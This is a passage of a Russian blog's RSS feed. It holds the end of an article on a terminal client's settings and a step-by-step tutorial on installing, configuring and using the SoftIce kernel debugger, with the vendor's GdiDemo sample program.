? удаление последнего символа, добавленного в буфер осуществляется клавишей Backspace.<br />
? после нажатия клавиши Tab данные буфера вместе с символом табуляции немедленно отправятся на удаленный компьютер.<br />
Два замечания относительно построчного режима:<br />
? любой управляющий символ можно отправить на удаленный компьютер лишь в том случае, если этот символ снабдить приставкой ^.<br />
? нельзя переслать на удаленный компьютер комбинации<br />
Ctrl-U или Backspace.<br />
В случае символьного режима ваши данные передаются на удаленный компьютер непосредственно в процессе их набора. Этот режим позволяет использовать весь экран вашего монитора для редактирования данных.<br />
А что если нажать Backspace?!<br />
По умолчанию, клавиша Backspace преобразовывается в код клавиши Delete. Некоторые удаленные компьютеры работают только с клавишей Backspace. Чтобы добиться совместимости, необходимо открыть меню Parameters и переустановить код клавиши Backspace.<br />
Хочу другое имя сессии!<br />
Вы можете изменить имя сессии появляющееся в строке состояния в правом нижнем углу через меню Parameters. В соответствующее поле данных вы можете ввести до 13 символов.<br />
Хочу другой терминал!<br />
В большинстве сессий эмулируется терминал VT100. У вас имеются другие возможности эмуляции:<br />
? выбрать VT100 с графикой Tektronix 4014.<br />
? использовать только команды VT100.<br />
? игнорировать коды VT100 и Tektronix 4014.<br />
Автоматический перенос строки<br />
Если вы не хотите смотреть на беспорядочный поток символов, используйте символы конца строк. При включенной опции автоматического переноса строки переполненный текст автоматически переходит на следующую строку.<br />
Адаптируемся к графическому интерфейсу<br />
Как правило, режим быстрого вывода текста через буфер экрана несовместим с Windows. В файле конфигурации посредством опции bios вы можете установить так называемый режим адаптации.<br />
В этом режиме текст на экране выводится через специальную программу, использующую доступ к BIOS.</p>
Файл 7f5ddbf668be432bbaf47f6ed1d47c4b/sape.php не найден!]]></content:encoded>
			<wfw:commentRss>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-280/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SoftIce</title>
		<link>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-281/</link>
		<comments>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-281/#comments</comments>
		<pubDate>Thu, 13 May 2010 05:05:38 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Это интересно]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[интересно]]></category>
		<category><![CDATA[статьи]]></category>
		<category><![CDATA[хакер]]></category>

		<guid isPermaLink="false">http://suspended.ru/?p=589</guid>
		<description><![CDATA[Все эти вопросы возникают по одной простой причине: вся документация, которую можно найти в Internet&#8217;e, написана на английском языке, автору известна только одна статья на русском языке, и та, к сожалению, очень не полная. Чтобы заполнить этот информационный вакуум, и было написано это эссе. Сколько человек, столкнувшись с этими проблемами, &#171;снесли&#187; SoftIce и забыли о [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><img class="alignleft size-full wp-image-76" style="margin: 10px;" title="internet" src="http://suspended.ru/wp-content/uploads/2010/05/internet289.jpg" alt="интернет" />Все эти вопросы возникают по одной простой причине: вся документация, которую можно найти в Internet&#8217;e, написана на английском языке, автору известна только одна статья на русском языке, и та, к сожалению, очень не полная. Чтобы заполнить этот информационный вакуум, и было написано это эссе. Сколько человек, столкнувшись с этими проблемами, &#171;снесли&#187; SoftIce и забыли о нем как о страшном сне, подсчитать трудно, а жаль &#8212; ведь это лучший отладчик на сегодняшний день.<br />
Сразу хочется сделать несколько замечаний: первое, если вы после прочтения этой статьи все-таки возьметесь за SoftIce, то вам придется заняться английским языком, хотите вы этого или нет (почему &#8212; см.<span id="more-589"></span>выше); второе, данная статья не претендует на роль документации, она была составлена как обзор той информации, которая была у автора на английском языке, а это фирменное руководство от фирмы NuMega &#8212; автора SoftIce-a, статьи и эссе, найденные в Интернете на различных сайтах, посвященных SoftIce и Reverse Engineering. По этой причине в статье возможны ошибки и неточности, автор будет благодарен за их исправление. В статье описывается последняя версия SoftIce 3.24 для WIN95, но большая часть сказанного относится и к предыдущим версиям. Предполагается, что читающие эту статью имеют минимальные знания об устройстве процессора и компьютера и представляют, что такое ассемблер.</p>
<p>Что такое SoftIce?<br />
SoftIce состоит из отладчика уровня ядра (kernel mode debugger) (собственно, это и есть отладчик) и утилиты загрузчик отладочной информации (Symbol Loader). SoftIce – это универсальный отладчик, которым можно отладить любой код, включая подпрограммы прерывания и драйверы ввода-вывода. Утилита Symbol Loader загружает отладочную информацию для вашего модуля, позволяет настроить SoftIce, и дает возможность записать историю комманд (history buffer) в файл.<br />
SoftIce совмещает в себе мощь аппаратного отладчика и удобство символьного, он имеет следующие возможности:<br />
Символьная отладка 32-битных приложений, отладка драйверов устройств для WIN NT, драйверов для WIN95, VxD, 16-битных программ для DOS и Windows.<br />
Отладка фактически любого кода, включая подпрограммы прерывания и внутренние подпрограммы WIN 95 и WIN NT.<br />
Установка точек останова на операции чтения/записи в память, чтения/записи портов ввода-вывода, прерываний.<br />
Установка точек останова на сообщения Windows.<br />
Установка точек останова, срабатывающих при определенных условиях (условных точек останова), и действий, которые должны произойти при срабатывании точки останова.<br />
И многое другое &#8230;<br />
Symbol Loader позволяет прочитать отладочную информацию из отлаживаемых программ (EXE, DLL, VxD, 386, OCX) и загрузить ее в отладчик, запустить ваше приложение и автоматически установить точку останова на точку входа в программу, записать в файл протокола отладки.</p>
<p>Инсталляция<br />
Аппаратные требования (от NuMega):<br />
Процессор:486 или Pentium.<br />
ОЗУ:необходимо 16 Мб (хотя в свое время работал и на 8), желательно 32 Мб.<br />
Мышка:обычная или PS (интересно, а кто в виндах без нее работает?).<br />
Видеокарта:начиная с версии 3.2, в SoftIce входит универсальный дисплейный адаптер, который должен работать с любой видеокартой, также есть драйвера и для большого числа видеокарт.<br />
SoftIce поддерживает работу с:<br />
одной видеокартой (стандартный вариант)<br />
с двумя видеокартами (вторая видеокарта должна быть MDA (Monochrome Display Adapter) или Hercules-совместимая)<br />
с двумя обычными видеокартами при условии, что они будут работать вместе<br />
удаленную отладку (со вторым компьютером, который соединяется с первым посредством COM-порта (remote debugging));<br />
На диске занимает 5,8 Мб.<br />
При инсталляции, как обычно, введите директорию, куда вы хотите поставить SoftIce, выберите компоненты, которые хотите поставить, после чего попадете в окно выбора видеоадаптера. SoftIce сам определяет видеокарту, если она соответствует вашей &#8212; нажмите кнопку Test, экран должен переключится в текстовый режим и вы увидите фразы “SoftIce is totally awesome!” на всем экране, а в середине отсчет цифр от 5 до 1. Если вы это увидели, то значит настройка видеоадаптера прошла успешно &#8212; жмите кнопку Next, если же у вас сбилась развертка, пропало изображение или повисла машина, то значит у SoftIce проблемы с видеокартой, для их решения существуют два пути: первый, включить универсальный видеоадаптер – должно помогать всегда (на моем Matrox Mistique проходит только этот вариант), тогда SoftIce будет работать в окне: второй, подобрать из числа представленных видеоадаптеров аналог вашему (у меня с S3 TRIO 64 вис (правда SoftIce был 3.01), а с DS 2000 работал на-ура); вам решать какой вариант лучше.<br />
После выбора адаптера выберите тип мыши, которой вы пользуетесь (хотя мышь можно и не ставить, без нее тяжело работать в SoftIce). Далее разрешите модифицировать свой autoexec.bat для того, чтобы SoftIce загружался при старте компьютера. Подтвердите выбранную конфигурацию и следите за тем, как SoftIce ставится на вашу машину. На предложение перезагрузить компьютер, согласитесь. После перезагрузки нажмите клавиши Ctrl-D. Если вместо рабочего стола вы увидите какие-то непонятные буквы и цифры, то считайте, что установку SoftIce на машину вы закончили, и наступает этап настройки. Если же ничего не случилось, или машина повисла при загрузке, то проверьте все ли вы правильно сделали. Если SoftIce не загрузился, проверьте, прописана ли в autoexec.bat строка запуска, она всегда последняя и выглядит приблизительно так: C:WINDEBUGSICE324WINICE.EXE, если нет &#8212; пропишите ее с вашим путем. Если машина повисла, то причина, скорее всего в неверной конфигурации видеоадаптера. Попробуете изменить ее.<br />
Кстати, все настройки, которые вы проводили при инсталляции можно изменить: Пуск – Программы – NuMega SoftIce.</p>
<p>Настройка:<br />
Откройте на редактирование файл winice.dat, который находится в той же директории что и SoftIce (в случае NT &#8212; в каталоге %SystemPath%system32drivers), и уберите точку с запятой со следующих строк:<br />
; ***** Examples of export symbols that can be included for Windows 95 *****<br />
;Change the path to the appropriate drive and directory<br />
EXP=c:windowssystemkernel32.dll &#8212; убрать;<br />
EXP=c:windowssystemuser32.dll   &#8212; убрать;<br />
EXP=c:windowssystemgdi32.dll    &#8212; убрать;<br />
Проверьте путь к файлам kernel32,user32,gdi32, он должен соответствовать вашему (Актуально в случае, если windows ставилась в каталог отличный от C:WINDOWS).<br />
Эта операция нужна для того, чтобы при отладке программы при вызове системных функций вы увидели имя вызываемой функции, а не какой-то call [xxxxxxxx].<br />
Пример:<br />
Call [USER32!GetWindow], вместо CALL [BFC01480].<br />
На мой взгляд первое выглядит значительно информативней.<br />
Исправьте строку INIT в соответствии с одним из примеров:<br />
INIT=&#187;WR;WD;WL;X;&#187; – если вы используете видеодрайвер для &#171;родной&#187; видеокарты (полноэкранный режим).<br />
INIT=&#187;SET FONT 3;SET ORIGIN -10 25;WR;WD 4;WL;WC 12;X;&#187; – если вы используете универсальный видеодрайвер (оконный режим).<br />
INIT=&#187;SET FONT 1; SET ORIGIN 30 30;LINES 60;WIDTH 90;WR;WD 4;WL;WC 12;X;&#187; – вариант, работающий на моей машине и выводящий на экран максимум информации (оконный режим), возможно для вашей машины потребуется изменить значение некоторых параметров.<br />
Если вы хотите передвинуть окно с SoftIce, то используйте клавиши Ctrl-Alt-(одна из клавиш управления курсором).<br />
Более подробно команды и переменные SoftIce будут рассмотрены ниже, тогда вы сможете настроить SoftIce на свой вкус.</p>
<p>Первые шаги<br />
Если вы все еще читаете этот опус, то для вас настал долгожданный момент истины :-), пора посмотреть как это все работает в деле. В поставку SoftIce входит пример GdiDemo, его и будем отлаживать (придерживаясь указаний фирмы NuMega).<br />
Пример без проблем собрался в VC4 (не забудьте включить отладочную информацию), в BC 5.02 пример тоже собрался, но отладочную информацию Symbol Loader не увидел, хотя в TD она грузится. Тот, кому лень собирать проект самому, может скачать его отсюда: Gdidemo.zip  (или отсюда ), архив занимает 0.1 Мб.</p>
<p>1. Загрузка отлаживаемой программы.<br />
Запускаем Symbol Loader, выбираем опцию Open module в меню File, идем туда, где у вас лежит Gdidemo.exe, и открываем его, далее в меню Module нажимаем на опцию Load. SL оттранслирует отладочную информацию в .NMS файл, загрузит исходные файлы, запустит отлаживаемую программу (в данном случае Gdidemo) и всплывет в SoftIce, где вы увидите исходный текст программы.<br />
Подсвеченная строка с номером 35 – это точка входа (entry point) в вашу программу. Если SL вывел сообщение типа &#171;An error occured during symbol translation/load&#187;, значит в отлаживаемом файле отсутствует отладочная информация, жмите OK и наслаждайтесь [диз]ассемблером.</p>
<p>2. Управление SoftIce&#8217;ом.<br />
Если Вы все правильно сделали, то вы должны увидеть SoftIce разбитый на несколько окон. Верхнее окно – Register Window (окно регистров) – показывает состояние рабочих регистров процессора. Под ним находится окно данных Data Window, в нем вы можете посмотреть или отредактировать дамп памяти. Ниже находится Code Window (окно кода) – в нем находится исходный текст программы (если вы загрузили отладочную информацию), или дизассемблированный код программы. В самом низу находиться окно команд &#8212; Command Window, в нем вы можете вводить команду и видеть результат их выполнения. Самая нижняя строчка – строка помощи, в ней при вводе подсвечиваются возможные варианты команд и их синтаксис. Удобнее всего управлять SoftIce с помощью мышки, но можно и без нее, хотя и не так удобно.</p>
<p>2.1 Управление с помощью мышки:<br />
Вы можете: изменять размер окон и закрывать их (нельзя изменить размер окна регистров и FPU); скроллировать окна как на одну строку, так и на целый экран; изменять значение регистров, флагов, ячеек памяти, устанавливать точки останова на исполнение, удалять из Watch Window переменные, которые больше не нужны. Правая кнопка мыши вызывает контекстное меню, в котором вы можете выбрать одну из представленных команд; работают команды с буфером обмена Windows.<br />
Изменение размера окна &#8212; подведите курсор к нижней границе того окна, которому хотите изменить размер или закрыть его, нажмите левую кнопку мыши и ведите ее вниз (увеличение размера) или вниз (уменьшение размера), если хотите закрыть окно, подведите нижнюю границу к верхней, в окне появится фраза Close current window и окно исчезнет.<br />
Скроллинг на одну строку – подведите курсор к маленьким стрелочкам, расположенным у границ того окна, которое хотите скроллировать и жмите левую кнопку мыши (стрелочки появляются, если размер окна больше или равен двум строчкам).<br />
Скроллинг на экран – подведите курсор к большим стрелочкам расположенным внутри того окна, которое хотите скроллировать и жмите левую кнопку мыши (стрелочки появляются, если размер окна больше или равен четырем строчкам).<br />
Изменение значений регистров – подведите курсор к тому регистру, значение которого хотите изменить, нажмите левую кнопку мыши и введите число, если нужно изменить одну цифру, то подводите курсор к этой цифре и меняйте.<br />
Изменение значений флагов – подведите курсор к тому флагу, который хотите изменить, нажмите левую кнопку мыши, после чего клавишей Ins можно изменить значение флага на противоположное (маленькая буква означает, что флаг не установлен, большая установлен).<br />
Изменение значений ячеек памяти – подведите курсор к тому байту (слову, двойному слову и т.д.), которое хотите изменить, нажмите левую кнопку мыши и вводите ваше значение, если хотите изменить одну или несколько цифр в числе, то подведите курсор с помощью клавиатуры к нужным числам и меняйте.<br />
Примечание: во всех случаях изменения значений они вступают в силу после того, как вы переключитесь в любое другое окно, до этого можно отменить последнее изменение, нажав Esc.<br />
Установка точек останова на исполнение – подведите курсор к той строке в Code Window, в которой хотите остановиться, и двойным щелчком по левой кнопке мыши поставьте точку останова, строка подсветится.<br />
Удаление из Watch Window переменных – установите курсор на переменную, которую хотите удалить, нажмите левую кнопку мыши, переменная подсветиться, нажмите кнопку Del – переменная исчезнет.<br />
Контекстное меню – по правой кнопке мыши вы попадаете в контекстное меню, в котором вам доступны команды:<br />
Copy – копировать в буфер обмена адрес или данные, находящиеся под курсором.<br />
Paste – вставить в окно команд, адрес или данные находящиеся в буфере обмена<br />
Copy&#038;Paste &#8212; копировать в буфер обмена адрес или данные, находящиеся под курсором, и вставить их в окно команд.<br />
Display – вывести в окно данных дамп памяти, расположенный по адресу, над которым в данный момент находиться курсор (Аналог команды D).<br />
Un-Assemble – вывести в Code Window исходный (если есть отладочная информация) или дизассемблированный текст программы, находящийся по адресу, над которым в данный момент находиться курсор (Аналог команды U).<br />
What – идентифицирует значение, находящееся под курсором с заранее определенными (Аналог команды Wath).<br />
Previous – отменяет предыдущую команду, введенную из контекстного меню (работает с командами Display и Un-Assemble).</p>
<p>2.2 Управление с помощью клавиатуры:<br />
Можете делать все то же самое, но будет отсутствовать контекстное меню и буфер обмена.<br />
Изменение размера окна – размер (в строках) непосредственно задается в команде открытия окна, если нужно.<br />
WC – открыть окно кода (Code Window).<br />
WD – открыть окно данных (Data Window).<br />
WF – открыть окно FPU Stack (FPU Stack Window).<br />
WL – открыть окно локальных переменных (Locals Window).<br />
WR – открыть окно регистров (Register Window).<br />
WW – открыть окно слежения (Watch Window).<br />
Повторный ввод этих команд без параметров закрывает соответствующие окна, с параметрами – меняет размер.<br />
По умолчанию курсор находиться в окне команд. Переместить курсор в нужное окно можно следующими комбинациями клавиш (если вы находитесь в окне команд (Command Windows)):<br />
Перейти в окно кода (Code Window)Alt-C<br />
Перейти в окно данных (Data Window)Alt-D<br />
Перейти в окно локальных переменных (Locals Window)Alt-L<br />
Перейти в окно регистров (Register Window)Alt-R<br />
Перейти в окно слежения (Watch Window)Alt-W<br />
В окно сопроцессора курсор переместить нельзя.<br />
Повторное нажатие этих клавиш возвратит вас обратно в окно команд (все вышесказанное действительно и для Code Window).<br />
В окне данных переключиться между дампами в HEX и ASCII формате можно с помощью клавиши Tab, с ее же помощью можно переходить между регистрами в окне регистров.<br />
Скроллинг на одну строку – переходите в нужное окно и клавишами управления курсор вверх и курсор вниз скроллируете окно.<br />
Скроллинг на экран &#8212; переходите в нужное окно и клавишами PageUp и PageDown скроллируете окно.<br />
Примечание: Code и Data Window можно скроллировать и не переключаясь в них из окна команд, для этого нужно кроме управляющих клавиш удерживать еще Alt для Data Window и Ctrl для Code Window.<br />
Изменение значений регистров – перейдите в окно регистров, подведите курсор к тому регистру, значение которого хотите изменить и введите число, если нужно изменить одну цифру, то подводите курсор к этой цифре и меняйте, нажатие Enter подтверждает изменение, Esc отменяет.<br />
Изменение значений флагов – перейдите в окно регистров, подведите курсор к тому флагу, который хотите изменить. После чего, клавишей Ins можно изменить значение флага на противоположное (маленькая буква означает, что флаг не установлен, большая &#8212; установлен), Enter можно не нажимать.<br />
Изменение значений ячеек памяти – перейдите в окно данных, подведите курсор к тому байту (слову, двойному слову и т.д.), которое хотите изменить и вводите ваше значение, если хотите изменить одну или несколько цифр в числе, то подведите курсор с помощью клавиатуры к нужным числам и меняйте. Нажатие Enter или переход к следующему числу подтверждает изменение, Esc отменяет.<br />
Установка точек останова на исполнение – в окне команд наберите команду BPX и введите адрес строки, на которой хотите остановиться.<br />
Удаление из Watch Window переменных – перейдите в Watch Window, установите курсор на переменную, которую хотите удалить, переменная подсветиться, нажмите кнопку Del – переменная исчезнет.<br />
После небольшой лекции по управлению SoftIce можно заняться и собственно отладкой. Так как мы отлаживаем программу, написанную на языке высокого уровня и с отладочной информацией, то можем отключить окно регистров и окно данных, и включить Locals Window, что бы видеть какие параметры передаются в процедуры (т.е. WD,WR,WL при условии, что пользовались настройками приведенными выше).<br />
Что бы посмотреть какие из исходных текстов программы были загружены &#8212; дайте команду FILE *.<br />
На экране в окне команд вы увидите имена файлов содержащих исходные тексты программы GdiDemo: Bounce.c, Wininfo.c, Poly.c, Maze.c, Init.c, Draw.c, Dialog.c, Xform.c, Gdidemo.c. Так как окно команд обычно небольшое, то вы увидите несколько первых имен файлов. В строке помощи будет присутствовать надпись &#171;Press any key to continue; Esc to cancel&#187;, вы можете с помощью клавиши Enter. Получить следующую строку с именем файла, или, нажав на пробел, получить следующую порцию строк с именами файлов (действительно для всех сообщений выводимых в окне команд).<br />
Если в процессе изучения листинга программы вы забрались слишком далеко от текущего значения EIP, то вернутся можно командой:<br />
:U EIP – дизасемблировать программу начина с текущего EIP адреса, либо командой;<br />
:. (точка) – переместиться к текущей исполняемой инструкции.</p>
<p>3. Трассировка программы.<br />
Воспользуйтесь командой T (trace) для того чтобы оттрассировать одну команду, или клавишей F8, которая закреплена по умолчанию за командой T. Произойдет выполнение команды находящейся в текущей строке и курсор перейдет на следующую строку и подсветит ее. Это строка:<br />
LpszLine=LpszLine;<br />
Еще раз нажмите F8, курсор передвинется на следующую строку:<br />
if(!hPrevInst).<br />
В Code Window вы видите исходный текст программы (source mode). Если вы хотите посмотреть дизассемблированный (code mode) текст программы или исходный и дизассемблированный (mixed mode) текст вместе, воспользуйтесь командой SRC или клавишей F3 закрепленной за этой командой. При первом нажатии вы увидите смешанный (исходный текст программы и ассемблерные инструкции, из которых состоит эта строка) текст, при втором нажатии дизассемблированный, третье нажатие вернет вас в режим просмотра исходного текста программы.<br />
Нажмите еще раз F8 и вы перейдете к строке<br />
if(!RegisterAppClass(hInst));<br />
Для того, чтобы отлаживать программу, вы пользуетесь командой Т, которая исполняет один оператор исходной программы или одну машинную команду.<br />
Еще существует команда P или клавиша F10, которая выполняет один шаг в программе, т.е. при трассировке какой-либо функции или прерывания вы не получите управления до тех пор, пока выполнение функции не завершится, и вы не вернетесь из функции обратно. Команду P удобно применять в том случае, когда вы отлаживаете основной алгоритм и отвлекаться на трассировку каждой процедуры нерационально.<br />
Примечание: Командой T нельзя оттрассировать системные вызовы (WIN32 API calls) находясь в source mode, для их трассировки нужно перейти в mixed или code mode.</p>
<p>4. Просмотр локальных переменных.<br />
Окно Locals Window показывает текущий кадр стека. В нашем случае он содержит локальные переменные для функции WinMain.<br />
Командой T войдите в функцию RegisterAppClass, окно Locals Window станет пустым, так как для этой функции еще не определены локальные переменные. Функция RegisterAppClass находится в файле INIT.C. SoftIce показывает текущий файл в левом верхнем углу Code Window<br />
Введите команду T снова, окно Locals Window будет содержать параметр переданный функции RegisterAppClass (hInstance) и локальную структуру wndClass. Перед структурой стоит знак плюс, который означает что внутри находятся переменные, которые можно посмотреть (так же можно смотреть строковые переменные и массивы). Если у вас Pentium и вы пользуетесь мышкой, то посмотреть структуру можно два раза щелкнув по ней мышкой, знак + сменится на – и вы увидите переменные из которых состоит структура. Закрыть структуру можно так же (двойным щелчком мыши). Если вы пользуетесь клавиатурой то последовательность действий такова: жмем Alt-L для перехода в Locals Window, затем курсорными клавишами подводим светящуюся полоску к структуре, которую хотим посмотреть и нажимаем Enter. Если требуется закрыть ее, то нажимаем Enter еще раз.</p>
<p>5. Установка точек останова на выполнение.<br />
Точки останова на выполнение делятся на два вида: просто точки останова и однократные точки останова.<br />
Однократные точки останова:<br />
Перейдите в Code Window, используя клавишу PgDn переместите курсор на строку с номером 61 (тоже самое можно сделать используя команду U .61), в этой строке находиться первый вызов функции Win32 API RegisterClass. Используя команду HERE (клавиша F7) выполните программу до этой строки.<br />
Команда HERE устанавливает точку останова в программе на адрес или строку на которой находиться курсор и выполняет программу с текущего адреса до адреса на котором находиться курсор, т.е. до тех пор пока не сработает точка останова, после срабатывания SoftIce автоматически отключит эту точку останова, что бы она больше не срабатывала.<br />
Текущей строкой в отлаживаемой программе стала строка:<br />
If(!RegisterClass(&#038;wndClass))<br />
Примечание: того же самого результата можно было добиться если бы вы дали команду G .61 (исполнять программу до строки 61).<br />
Обычные точки останова.<br />
Следующие шаги демонстрируют использование обычных точек останова, т.е. таких которые будут срабатывать до тех пор пока вы их не отмените. Найдите следующий вызов функции RegisterClass, находящийся в строке 74. Установите курсор на эту строку и введите команду BPX (BreakPoint eXecutable) или клавишу F9 (по этой команде, в память на место команды расположенной под курсором записывается команда INT3, но вы этого не видите :-)). Строка должна подсветиться (если вы находитесь в code mode, то после команды BPX необходимо указать адрес строки на которую хотите поставить точку останова). Снять точку останова можно повторным вводом этой же команды. Если вы счастливый обладатель процессора Pentium, то процесс установки и снятия точки останова сводится к двойному щелчку левой кнопкой на той команде, где хотите поставить точку останова. После установки точки останова запустите программу командой G или X (клавиша F5). Когда программа исполнит инструкцию INT3, она передаст управление SoftIce, после чего он появиться перед вами. Посмотреть информацию об установленных точках останова можно командой BL (BreakPoint List):<br />
:BL<br />
00) BPX #0137:00402442 (адрес может быть другим).<br />
Видим что установлена одна точка останова на исполнение по адресу 00402442, с порядковым номером 0. По этому адресу находиться команда, расположенная в текущем файле INIT.C в строке 74. Вы можете использовать вычисление выражений, для того чтобы получить адрес строки по ее номеру: <img src="http://suspended.ru/wp-includes/images/smilies/icon_confused.gif" alt=":?" class="wp-smiley" />  .74<br />
void * = 0&#215;00402442<br />
Так как дальнейшая пошаговая трассировка функции RegisterAppClass не имеет для нас смысла, вернемся в то место, откуда эта функция вызывалась. Для этого существует команда P с параметром RET (клавиша F12). Она позволяет выполнять программу до тех пор пока не встретит команду RET (RETF), исполнив эту команду SoftIce выйдет из подпрограммы и остановиться на строке следующей за вызовом этой подпрограммы. Применительно к нашей программе: функция RegisterAppClass вызывается из функции WinMain, SoftIce остановиться в функции WinMain на строке следующей за вызовом функции RegisterAppClass, т.е. подсвечена будет строка:<br />
Msg.wParam = 1;<br />
Воспользуйтесь командой BC (Breakpoint Clear) с номером точки останова, который вы посмотрели с помощью команды BL, для того, что бы убрать именно эту точку останова, или вместо номера введите *, тогда вы уберете все точки останова (можно вводить номера точек останова через запятую, если хотите убрать несколько точек).</p>
<p>6. Использование информационных команд.<br />
SoftIce имеет в своем распоряжении много разных команд, с помощью которых можно узнать состояние и получить иную информацию об операционной системе и запущенных в ней приложениях. Мы рассмотрим только две команды: H (Help) и CLASS. Эти команды выводят достаточно много информации в окне команд (Command Window), поэтому желательно увеличить размер этого окна, для этого закроем окно локальных переменных (Locals Window).<br />
По команда H можно получить помощь по всем командам SoftIce или более подробную информацию о конкретной команде, если введете ее имя в качестве аргумента команды H:<br />
:H CLASS<br />
Display window class information<br />
CLASS [-x] [task-name]<br />
Ex: CLASS USER<br />
Первая строка дает описание команды, вторая показывает информацию о синтаксисе и аргументах, которые могут использоваться в команде, третья строка содержит пример использования команды.<br />
Целью выполнения функции RegisterAppClass является регистрация шаблона для классов окон, которые будут использованы приложением GdiDemo для создания окон. Используя команду CLASS можно посмотреть зарегистрированные классы для GdiDemo:<br />
:CLASS GDIDEMO<br />
Результатом выполнения данной команды является информация о каждом зарегистрированном классе окна. Информация включает в себя: имя класса, адрес внутренней структуры данных WNDCLASS, модуль который зарегистрировал данный класс, адрес процедуры, которая обслуживает данный класс и состояние флагов стиля класса. Для получения подробной информации воспользуйтесь ключом –X.<br />
Handle<br />
Class Name<br />
Owner<br />
WndwProc<br />
Styles</p>
<p>5110<br />
BOUNCEDEMO<br />
GDIDEMO<br />
2E9F:00000114<br />
03000003</p>
<p>40AC<br />
DRAWDEMO<br />
GDIDEMO<br />
2E9F:000000FE<br />
03000003</p>
<p>409C<br />
MAZEDEMO<br />
GDIDEMO<br />
2E9F:000000E8<br />
03000003</p>
<p>3BC4<br />
XFORMDEMO<br />
GDIDEMO<br />
2E9F:000000D2<br />
03000003</p>
<p>3BB4<br />
POLYDEMO<br />
GDIDEMO<br />
2E9F:000000BC<br />
03000003</p>
<p>3A00<br />
GDIDEMO<br />
GDIDEMO<br />
2E9F:000000A6<br />
03000003</p>
<p>7. Символьные имена.<br />
Когда вы загружаете приложение с отладочной информацией, SoftIce автоматически создает таблицу символьных имен которая содержит все имена, определенные в данном приложении. Используя команду TABLE можно посмотреть какие таблицы символьных имен загружены в настоящий момент:<br />
:TABLE<br />
GDIDEMO [NM32]<br />
0001044741 Bytes Of Symbol Memory Available<br />
Используемая в данный момент таблица символьных имен выделена цветом. Если текущая таблица символьных имен не соответствует той на которую ссылается ваше приложение, то используя команду TABLE с именем вашего приложения в качестве аргумента, вы подключите нужную таблицу (если для вашего приложения создана таблица):<br />
:TABLE GDIDEMO<br />
Используя команду SYM вы можете посмотреть все символьные имена, определенные в текущей таблице (на экран выводятся по сегментам, внутри них в алфавитном порядке). Если интересует какие-то определенные имена, то используйте шаблоны:<br />
:SYM w*<br />
.text<br />
(0137:00401000<br />
, 000145C1 bytes)</p>
<p>0137:004012E0<br />
WinMain</p>
<p>0137:00405700<br />
WinMainCRTStartup</p>
<p>0137:004013AD<br />
WndProc</p>
<p>0137:0040AF50<br />
wcslen</p>
<p>0137:0040C160<br />
wcsncnt</p>
<p>0137:004107A0<br />
wctomb</p>
<p>0137:0040FA50<br />
write_char</p>
<p>0137:0040FAD0<br />
write_multi_char</p>
<p>0137:0040FB20<br />
write_string</p>
<p>На экране список всех символьных имен, начинающихся с буквы w, все они расположены в сегменте .text (выполняемый сегмент, он начинается с адреса 0137:00401000 и имеет длину 0145C1H байт), т.е. эти имена – имена функций и процедур входящие в приложение GDIDEMO. Данные находятся в сегментах .data, .rdata, .idata.<br />
8. Условные точки останова.<br />
Одним из символов, определенных в приложении GDIDEMO, является функция LockWindowInfo. Назначение этой функции – возвращение адреса переменных, которые определяют свойства окна. Для того, чтобы ознакомиться с условными точками останова и точками останова на доступ к памяти, мы выполним следующие действий:<br />
Установим точку останова на функцию LockWindowInfo<br />
Отредактируем поставленную точку останова таким образом, чтобы она срабатывала по определенному нами условию.<br />
Установим точку останова на доступ к ячейки памяти, для того чтобы отследить обращения к этой ячейке.<br />
Установка точки останова на функцию LockWindowInfo.<br />
Командой BPX LockWindowInfo поставим точку останова на выполнение на эту функцию. Каждый раз, когда в одном из окон приложения GDIDEMO нужно будет обновить информацию, программой будет вызываться функция LockWindowInfo, так как на эту функцию поставлена точка останова, то будет вызываться SoftIce. Командой BL проверьте, установилась ли точка останова. Запустите приложение командой X или G. Как только будет вызвана функция LockWindowInfo, SoftIce всплывет. Так как обновление происходит постоянно, то постоянно вызывается и SoftIce, что очень неудобно, если нас интересует обновление какого-либо конкретного окна. Чтобы перехватить вызов на обновление конкретного окна, к примеру, POLYDEMO, воспользуемся условной точкой останова. Из исходного текста программы (файл wininfo.c) видно, что функция LockWindowInfo получает в качестве входного аргумента один параметр HWND (Handle Window) – дескриптор окна, и возвращает в вызывающую функцию одно значение – указатель на переменные для данного окна. То есть если бы мы заставили срабатывать точку останова только на обработчик окна POLYDEMO, мы бы добились своей цели. Для начала нам необходимо узнать дескриптор нашего окна, для этого воспользуемся командой:<br />
:HWND GDIDEMO<br />
WindowHandle<br />
hQueue<br />
SZ<br />
Qowner<br />
ClassName<br />
WindowProcedure</p>
<p>0724(1)<br />
10FF<br />
32<br />
GDIDEMO<br />
GDIDEMO<br />
365F:000001C4</p>
<p>0728(2)<br />
10FF<br />
32<br />
GDIDEMO<br />
MdiClient<br />
17A7:00001988</p>
<p>0734(3)<br />
10FF<br />
32<br />
GDIDEMO<br />
BOUNCEDEMO<br />
365F:00000232</p>
<p>0730(3)<br />
10FF<br />
32<br />
GDIDEMO<br />
POLYDEMO<br />
365F:000001DA</p>
<p>072C(3)<br />
10FF<br />
32<br />
GDIDEMO<br />
DRAWDEMO<br />
365F:0000021c</p>
<p>дескриптор окна POLYDEMO имеет значение 0730, если в списке вы не увидели нужного окна, то запустите приложение клавишей X или G, опять сработает точка останова, проверьте, создалось ли окно, если нет, то повторите последние действия. Теперь можно останавливать исполнение программы только в том случае, когда в качестве параметра для функции LockWindowInfo используется значение 0730. В Windows параметры для функции обычно передаются через стек. При остановке в функции LockWindowInfo стек будет выглядеть следующим образом (посмотреть содержимое стека можно подведя курсор к регистру ESP, нажав правую кнопку мыши вызвать контекстное меню и выбрать команду Display, неплохо бы еще сменить командой DD формат вывода данных в DataWindow на показ двойных слов, так как наше приложение 32-разрядное):<br />
ESP = 0055FC00<br />
013F:0055FC00 00404852 00000730 0055FC3C 00008CAA<br />
